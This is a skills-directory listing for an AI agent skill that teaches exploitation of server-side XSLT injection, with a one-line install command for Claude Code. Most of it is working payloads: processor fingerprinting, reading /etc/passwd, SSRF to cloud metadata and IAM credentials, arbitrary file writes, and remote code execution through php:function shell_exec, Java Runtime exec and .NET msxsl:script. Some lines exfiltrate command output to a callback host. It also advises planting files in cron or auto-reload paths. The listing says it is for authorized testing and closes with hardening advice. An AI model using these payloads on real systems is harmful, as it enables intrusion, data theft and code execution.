Skip to content
Back to skills

Webapp Exploiting Xslt Server Side Injection

CSecurity

Exploiting server-side XSLT injection where an application transforms XML with attacker-influenced stylesheets, enabling processor fingerprinting, local file read, SSRF, file write, and remote code execution via processor-specific extension functions (libxslt/lxml, Saxon, Xalan, .NET msxsl:script…

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 7, 2026
securityrustgojavaphpc#shellbashtestingsecurity

Works with

  • cli

Security analysis

C71/100
  • mediumUses curl or wget to download content
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned November 7, 2026

npx -y skills add bitbytelabio/arsenal --skill webapp-exploiting-xslt-server-side-injection --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Webapp Exploiting Xslt Server Side Injection?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Webapp Exploiting Xslt Server Side Injection
[![Security: C — Skills Directory](https://www.skillsdirectory.com/api/skills/bitbytelabio-webapp-exploiting-xslt-server-side-injection/badge)](https://www.skillsdirectory.com/skills/bitbytelabio-webapp-exploiting-xslt-server-side-injection)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: webapp-exploiting-xslt-server-side-injection
description: Exploiting server-side XSLT injection where an application transforms XML with attacker-influenced stylesheets, enabling processor fingerprinting, local file read, SSRF, file write, and remote code execution via processor-specific extension functions (libxslt/lxml, Saxon, Xalan, .NET msxsl:script…
domain: webapp
category: injection
hide: true
license: Apache-2.0
metadata:
  manifest_entry: src/corpus/webapp-exploiting-xslt-server-side-injection/SKILL.md
---
# Exploiting XSLT Server-Side Injection

## When to Use

- During authorized tests where the server transforms XML to HTML/PDF/CSV using XSLT
- When you can upload or influence an `.xsl` stylesheet, or the XML references an external stylesheet
- When PDF/report generators, document converters, or ESI `stylesheet=` params perform transforms
- When XXE payloads fail but the stylesheet parser itself is still attacker-reachable
- When you see frameworks: libxslt (PHP/lxml/GNOME), Saxon (Java), Xalan (Apache), .NET, MSXML

## Critical: Variants Most Often Missed

The biggest miss is stopping at generic XXE. **Fingerprint the processor first**, then switch to processor-specific primitives — a failed `document('/etc/passwd')` or failed Java call does NOT mean the engine is hardened.

```xml
<!-- 1. FINGERPRINT: identify version + vendor before anything else -->
<xsl:value-of select="system-property('xsl:version')"/>
<xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:value-of select="system-property('xsl:vendor-url')"/>
<xsl:value-of select="system-property('xsl:product-name')"/>
```

```xml
<!-- 2. FILE READ — vary by processor -->
<!-- Saxon (XSLT 2.0): unparsed-text reads ANY text file -->
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
<!-- libxslt: document() works for XML; /etc/passwd often FAILS because parsed as XML -->
<xsl:value-of select="document('/etc/passwd')"/>          <!-- may error -->
<xsl:value-of select="document('/path/to/file.xml')"/>     <!-- works if valid XML -->
<!-- PHP/libxslt extension -->
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')"/>
<!-- DTD external entity inside the stylesheet -->
<!DOCTYPE x [<!ENTITY ext SYSTEM "file:///etc/passwd">]> ... &ext;
```

```xml
<!-- 3. SSRF -->
<xsl:value-of select="document('http://169.254.169.254/latest/meta-data/')"/>
<xsl:include href="http://127.0.0.1:8000/xslt"/>          <!-- include fetched BEFORE access control -->
<xsl:value-of select="document('http://example.com:22')"/> <!-- port probe -->
```

```xml
<!-- 4. FILE WRITE -->
<!-- libxslt EXSLT secondary output -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
  <xsl:template match="/">
    <exsl:document href="/var/www/html/test.txt" method="text">0xdf was here!</exsl:document>
  </xsl:template>
</xsl:stylesheet>
<!-- Saxon -->
<xsl:result-document href="local_file.txt"><xsl:text>Write Local File</xsl:text></xsl:result-document>
```

```xml
<!-- 5. RCE — processor-specific extension functions -->
<!-- PHP php:function -->
<xsl:value-of select="php:function('shell_exec','id')"/>
<!-- Xalan (Java) -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:variable name="r" select="rt:getRuntime()"/>
  <xsl:value-of select="rt:exec($r,'bash -c curl http://COLLABORATOR/')"/>
</xsl:stylesheet>
<!-- Saxon (java: prefix, needs ALLOW_EXTERNAL_FUNCTIONS) -->
<xsl:stylesheet version="2.0" xmlns:rt="java:java.lang.Runtime"> ...
  <xsl:value-of select="rt:exec($r,'bash -c id > /tmp/saxon_pwned')"/>
<!-- .NET msxsl:script (only if EnableScript=true; unsupported on .NET Core/5+) -->
<msxsl:script language="C#" implements-prefix="user"><![CDATA[
  public string run(){System.Diagnostics.Process.Start("cmd.exe","/c ping attacker");return "ok";}
]]></msxsl:script>
```

### How to CONFIRM a hit (avoid false negatives)

- **Fingerprint success**: response shows `Version: 2.0`, `Vendor: SAXON 9.x` etc. → injection confirmed, pick the right payload set.
- **File read**: `/etc/passwd` content (regex `root:.*?:0:0:`) or target file bytes appear in the transformed output.
- **SSRF**: out-of-band callback hits your collaborator, OR `document('http://host:22')` returns a connect/timing difference per port.
- **File write**: re-fetch the written path (e.g. `/test.txt`) and see your marker. Remember XML encoding — use `&amp;` for a literal `&`, not `%26`.
- **Blind RCE**: when only a boolean/object reference comes back, pivot to DNS/HTTP callbacks, time delays (`shell_exec('sleep 10')`), or file writes — do not expect stdout.
- Hardening is partial: `document('/etc/passwd')` failing on libxslt doesn't rule out `php:function`/SSRF; a blocked Java call on Saxon doesn't rule out `doc()`/`unparsed-text()`.

## Workflow

### Step 1: Detect & Fingerprint

```bash
# Local repro environment
sudo apt-get install -y default-jdk libsaxonb-java libsaxon-java
saxonb-xslt -xsl:detection.xsl xml.xml      # prints Version + Vendor
```
Submit the `system-property()` stylesheet to the target and read the vendor string from the response.

### Step 2: Exploit per processor

```text
libxslt/PHP  -> php:function('file_get_contents'/'shell_exec'), document() SSRF, exsl:document write
Saxon        -> unparsed-text() read, result-document write, java: RCE if ext funcs enabled
Xalan        -> java.lang.Runtime exec (Java extension namespace)
.NET         -> document() SSRF/LFI always; msxsl:script RCE only on .NET Framework w/ EnableScript
```

### Step 3: Escalate to RCE / Impact

```xml
<!-- Confirm RCE blindly with a callback, then upgrade -->
<xsl:value-of select="php:function('shell_exec','curl http://COLLABORATOR/$(id|base64)')"/>
```
Practical write workflow: first write a marker into a web-served path to prove the primitive, then write into an execution sink already on the host (cron-polled dir, auto-reload path, scheduled task input).

### Hardening-bypass notes
- **lxml**: `XSLTAccessControl` defaults to allowing file/network and only mediates transform-time I/O; `xsl:import`/`xsl:include` are parsed BEFORE that hook, so attacker stylesheets still load.
- Apps often harden the XML parser (`resolve_entities=False`, `no_network=True`) but leave the stylesheet parser default — XSLT features stay reachable.

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Processor fingerprinting** | `system-property('xsl:vendor'/'xsl:version')` selects the right exploit path |
| **document() vs unparsed-text()** | libxslt `document()` expects XML; Saxon `unparsed-text()` reads any text |
| **Extension functions** | `php:function`, `java:`/Xalan `Runtime`, `msxsl:script` enable RCE |
| **EXSLT / result-document** | `exsl:document` (libxslt) and `xsl:result-document` (Saxon) write files |
| **include/import pre-ACL** | `xsl:include` is fetched before access-control checks → SSRF/stylesheet load |
| **Blind RCE** | Boolean/object return → pivot to callbacks, delays, file writes |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **saxonb-xslt** | Local Saxon CLI for building/testing payloads |
| **xsltproc / libxslt** | Local libxslt repro |
| **Burp Suite** | Deliver stylesheets, capture transformed output, drive OOB |
| **Collaborator / interactsh** | Confirm blind SSRF & RCE callbacks |
| **PayloadsAllTheThings (XSLT Injection)** | Payload reference |
| **Auto_Wordlists/xslt.txt** | Detection/exploit payload list |

## Common Scenarios

### Scenario 1: PDF Generator File Read
A reporting endpoint transforms user XML into a PDF with Saxon. Injecting `unparsed-text('/etc/passwd')` embeds the password file into the generated PDF.

### Scenario 2: PHP libxslt RCE
A PHP app applies a user-controlled stylesheet. `php:function('shell_exec','id')` is enabled by default in many libxslt/PHP setups, giving direct command execution.

### Scenario 3: SSRF to Cloud Metadata
A .NET converter blocks `msxsl:script` but `document('http://169.254.169.254/latest/meta-data/iam/security-credentials/')` succeeds, leaking cloud IAM credentials.

## Output Format

```
## XSLT Server-Side Injection Finding

**Vulnerability**: XSLT Server-Side Injection
**Severity**: Critical (CVSS 9.1–9.8 for RCE; High for LFI/SSRF)
**Location**: POST /report/transform (XML/XSL upload or stylesheet= parameter)
**OWASP Category**: A03:2021 - Injection (with A10 SSRF when applicable)

### Reproduction Steps
1. Submit system-property() stylesheet → response shows Vendor: SAXON 9.1.0.8.
2. Submit unparsed-text('/etc/passwd') → /etc/passwd contents returned in output.
3. With ext funcs enabled, java:java.lang.Runtime exec triggers a collaborator callback (RCE).

### Evidence
| Payload | Result | Capability |
|---------|--------|-----------|
| system-property('xsl:vendor') | SAXON 9.1.0.8 | Fingerprint |
| unparsed-text('/etc/passwd') | root:x:0:0:... | File read |
| rt:exec(...,'curl COLLAB') | DNS/HTTP callback | RCE |

### Impact
Local file disclosure, SSRF (incl. cloud metadata), arbitrary file write, and remote code execution depending on processor and enabled extension functions.

### Recommendation
1. Never transform attacker-controlled stylesheets; pin trusted, static XSL.
2. Disable extension functions (PHP `php:function`, Saxon `ALLOW_EXTERNAL_FUNCTIONS`, .NET `EnableScript`).
3. Restrict the processor's file/network access (lxml `XSLTAccessControl`, `no_network=True`, resolver=None).
4. Run the transformer with least privilege and no outbound network access.
```

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.